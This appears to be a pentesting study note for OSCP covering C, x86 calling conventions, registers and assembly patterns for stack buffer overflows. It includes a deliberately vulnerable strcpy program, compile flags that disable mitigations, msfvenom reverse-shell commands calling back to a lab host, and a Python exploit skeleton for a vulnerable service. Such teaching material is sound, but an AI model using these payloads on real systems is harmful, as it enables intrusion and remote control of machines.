C and assembly primer for pentesters

C and assembly primer for pentesters

TL;DR: You don’t need to write C and asm — you need to read enough of both to (1) modify a public exploit to fit your target and (2) step through a stack BOF in a debugger. This note gives you that floor. Companion to stack-bof-walkthrough-end-to-end and porting-public-exploits.

Why bother

On OSCP you will:

  • Copy a C exploit from exploit-db, change one offset, recompile.
  • Generate shellcode with msfvenom and paste it into a Python harness.
  • Watch a register change in a debugger and recognise “that’s my A’s, I control EIP.”

That’s it. You’re not writing a kernel module.

C in 5 minutes

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <string.h>

void vuln(char *input) {
    char buf[64];
    strcpy(buf, input);     // no bounds check → classic stack BOF
    printf("Hello %s\n", buf);
}

int main(int argc, char **argv) {
    if (argc > 1) vuln(argv[1]);
    return 0;
}

Compile it (without modern mitigations, for learning):

1
gcc -fno-stack-protector -z execstack -no-pie -o vuln vuln.c

What each flag turned off:

  • -fno-stack-protector — disables stack canaries.
  • -z execstack — marks the stack executable (kills NX/DEP for this binary).
  • -no-pie — disables ASLR for the executable itself.

You’re recreating 2003 on purpose so you can learn the primitives before fighting mitigations.

What you must recognise in C

Symbol Means
*p dereference (the thing p points to)
&x address of x
p->field dereference and member access
char buf[64] 64 bytes on the stack
malloc / free heap alloc / dealloc — UAF lives here
strcpy / sprintf / gets dangerous, no bounds — BOF source
strncpy / snprintf safer, length-limited
void * untyped pointer (you’ll cast it)

Calling conventions you’ll see in a debugger

x86 (32-bit) — cdecl

  • Args pushed right-to-left on the stack.
  • Caller cleans up.
  • Return value in EAX.
  • Stack frame: EBP (frame pointer), ESP (top of stack), EIP (next instruction).
  • After CALL, return address sits at [ESP]; classic BOF target.

x86-64 — System V (Linux)

  • First 6 args in RDI, RSI, RDX, RCX, R8, R9.
  • Return value in RAX.
  • “Red zone” — 128 bytes below RSP usable without adjustment.

x86-64 — Microsoft x64 (Windows)

  • First 4 args in RCX, RDX, R8, R9; rest on stack.
  • Caller allocates 32-byte “shadow space” for the callee.

Registers you actually look at

32-bit 64-bit Role
EIP RIP next instruction (the prize)
ESP RSP stack top
EBP RBP frame base
EAX RAX return value / scratch
ECX RCX counter / 1st arg (Win64)

Asm patterns you must recognise

push ebp            ; function prologue: save old frame
mov  ebp, esp       ; new frame
sub  esp, 0x40      ; reserve 64 bytes for locals
...
mov  esp, ebp       ; function epilogue
pop  ebp
ret                 ; pops EIP from stack ← BOF lands here
call vuln           ; pushes return address, jumps to vuln
jmp  esp            ; the classic "land my shellcode" trick

Shellcode in one paragraph

Shellcode is position-independent machine code that, when executed, gives you something useful (a shell, a reverse connection, a download-and-execute). On OSCP you generate it; you do not write it.

1
2
3
4
5
# linux/x86 reverse shell, no nulls
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -b '\x00' -f c

# windows/x86 reverse shell
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.5 LPORT=4444 -b '\x00\x0a\x0d' -f c

-b excludes “bad characters” — bytes the vulnerable input handler chokes on. See bad-character-handling.

Reading a public exploit (the OSCP move)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
# typical PoC skeleton you'll edit
import socket, struct

target_ip   = "TARGET_HERE"
target_port = 9999

offset      = 2003                       # how many A's before EIP
ret_addr    = struct.pack("<I", 0x625011AF)  # JMP ESP gadget in essfunc.dll
nops        = b"\x90" * 16
shellcode   = (b"\xdb\xcb..." )           # paste msfvenom output here

payload = b"TRUN /.:/" + b"A"*offset + ret_addr + nops + shellcode

s = socket.socket()
s.connect((target_ip, target_port))
s.send(payload)
s.close()

Things you change for your target:

  1. target_ip.
  2. offset (find with cyclic pattern).
  3. ret_addr (find a JMP ESP that survives bad chars).
  4. shellcode (regenerate with your -b and your LHOST/LPORT).

References